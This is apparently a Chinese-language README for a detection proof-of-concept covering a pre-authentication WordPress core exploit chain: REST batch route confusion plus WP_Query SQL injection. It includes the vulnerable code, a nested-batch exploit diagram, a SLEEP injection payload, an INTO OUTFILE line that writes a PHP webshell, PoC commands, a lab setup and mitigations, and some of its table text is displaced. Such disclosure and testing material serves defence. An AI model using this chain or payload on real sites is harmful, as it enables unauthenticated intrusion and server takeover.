
WordPress 核心中的预认证 RCE,经由 REST API 批量路由混淆 + WP_Query SQL 注入(CVE-2026-63030 / CVE-2026-60137)。检测 PoC。
预认证、未认证,无需任何插件。 通过 REST API 批处理端点即可攻击标准 WordPress 安装。
| CVE | CVE-2026-63030(路由混淆 → RCE)+ CVE-2026-60137(SQL 注入) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| 发现者 | Adam Kues — Assetnote / Searchlight Cyber(代号 "wp2shell") |
| 受影响版本 | WordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1(完整 RCE 链)· 6.8.0 – 6.8.5(仅 SQL 注入) |
| 已修复版本 | 6.8.6、6.9.5、7.0.2、7.1-beta2 |
| CVSS | 严重(RCE 链)/ 中等(独立 SQL 注入) |
| 研究员博客 | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
WordPress 核心中的两个漏洞,可串联成为未认证远程代码执行:
author__not_in 为字符串而非数组时,WP_Query 中的 is_array() 清理检查被跳过,原始值被直接插入 NOT IN (...) 子句。WP_REST_Server::serve_batch_request_v1() 将 WP_Error 子请求推入 $validation[],但未推入 $matches[],导致索引偏移 +1。子请求 i 最终由子请求 i+1 的处理程序来调度。这两个漏洞单独都不足以构成威胁:REST API 在 author_exclude 到达 WP_Query 之前会先对其进行清理(type: array, items: integer),而批处理端点会拒绝 GET 子请求(enum: POST, PUT, PATCH, DELETE)。通过双重混淆将其串联,可以绕过这两项防御,以未认证方式触发 SQL 注入。
src/wp-includes/class-wp-query.php(CVE-2026-60137)存在漏洞的版本(6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
当 author__not_in 为字符串时,is_array() 分支会被跳过;(array) "payload" 的结果是 ["payload"];implode(',', ...) 返回原始字符串,该字符串被直接插入 SQL 语句中。
修复(6.9.5): 改用 wp_parse_id_list(),它接受任何输入形式并返回经过清理的整数列表。
src/wp-includes/rest-api/class-wp-rest-server.php(CVE-2026-63030)// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop — indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
位置 0 处的单个 WP_Error 子请求(例如格式错误的路径)会使后续每个条目偏移一位。随后请求 i 会被请求 i+1 的处理程序来调度。
修复(6.9.5): 在错误情况下也追加 $matches[] = $single_request;。额外的加固措施会在调度进行中时短路 rest_api_loaded() / serve_request()。
┌──────────────────────────────────────────────────────────────────────┐
│ OUTER batch (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] path = "/wp/v2/categories" → carries nested batch in body │
│ body = { "name": "x", │
│ "requests": [ INNER_BATCH ] } │
│ Validated against categories → "requests" field untouched │
│ [2] path = "/batch/v1" → batch handler → shifts onto [1] │
│ │
│ Outer shift: request[1] dispatched with request[2]'s handler = │
│ serve_batch_request_v1. The batch endpoint has NO │
│ permission_callback → fires unauthenticated. request[1]'s body │
│ was validated against the *categories* route, so the nested │
│ sub-requests were NEVER checked against the batch method enum → │
│ inner sub-requests may use GET. │
├──────────────────────────────────────────────────────────────────────┤
│ INNER batch (processed inside serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validated against categories → author_exclude NOT sanitised │
│ [2] GET /wp/v2/posts → get_items handler → shifts to [1]│
│ │
│ Inner shift: inner[1] dispatched with inner[2]'s handler = │
│ WP_REST_Posts_Controller::get_items. The unsanitised string │
│ author_exclude is mapped to author__not_in and passed to │
│ WP_Query → SQL INJECTION. │
└──────────────────────────────────────────────────────────────────────┘
产生的 SQL 片段为:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) 会对每个匹配的帖子行触发一次,因此总延迟约为 N × <已发布帖子数量> 秒。
仅支持 SELECT 的注入(无法堆叠查询,$wpdb 使用 mysqli_query)在典型的 LAMP 技术栈上仍可实现 RCE,前提是 MySQL 用户拥有 FILE 权限——这是许多共享主机商和自管理服务器的默认配置:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
将 PHP webshell 写入 Web 根目录,可通过 /x.php 访问。
替代路径(无需 FILE 权限)包括通过 UNION/布尔盲注读取管理员密码哈希,以及通过已认证的管理后台界面上传恶意插件。
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
该 PoC 执行两项非破坏性测试:
| 测试 | 方法 | 安全? |
|---|---|---|
| 路由混淆(CVE-2026-63030) | 结构性检测——通过检查响应体中帖子独有的字段,验证内部请求 [1](categories)由帖子处理程序调度 | 是 |
| SQL 注入(CVE-2026-60137) |
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
针对存在漏洞的 6.9.4 实例的示例输出:
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
Double confusion active: outer level bypasses batch method enum,
inner level dispatches categories params with the posts handler.
[*] Time-based blind SQLi detection (SLEEP=3s)
baseline: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).
无延迟 / 无结构性混淆 ⇒ 已修复(6.8.6 / 6.9.5 / 7.0.2)。
requests(pip install requests)最简单的复现方式是使用官方 Docker 镜像(自动更新程序会在漏洞披露后数小时内修补大多数在线实例):
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode [email protected] \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
对于 INTO OUTFILE → RCE 步骤,请授予 FILE 权限并确保数据库进程可以写入 Web 根目录(单服务器 LAMP,或 Docker 中的共享卷):
GRANT FILE ON *.* TO 'wp'@'%';
WP_AUTO_UPDATE_CORE),因此大多数在线站点已修复。POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1FILE 权限:
REVOKE FILE ON *.* FROM 'wp_user'@'%';
secure_file_priv(非空):
secure_file_priv = /var/lib/mysql-files
| 日期 | 事件 |
|---|---|
| 2026-07-17 | WordPress 发布 6.8.6 / 6.9.5 / 7.0.2 |
| 2026-07-17 | 发布 GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf |
| 2026-07-17 | Assetnote / Searchlight Cyber 发布 "wp2shell" 安全公告 + https://wp2shell.com 检测工具 |
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.php本仓库仅包含检测性质的 PoC——它使用时间盲注和结构化响应检查。它不会提取数据、写入文件或尝试 RCE。该漏洞在本文代码发布之前,已由 WordPress 和原始研究员修复并公开披露。
仅可针对您拥有或获得授权测试的系统使用。
MIT — 详见 LICENSE。
时间盲注——通过 author_exclude 注入 SLEEP(N),并与良性基线对比测量延迟 |
| 是 |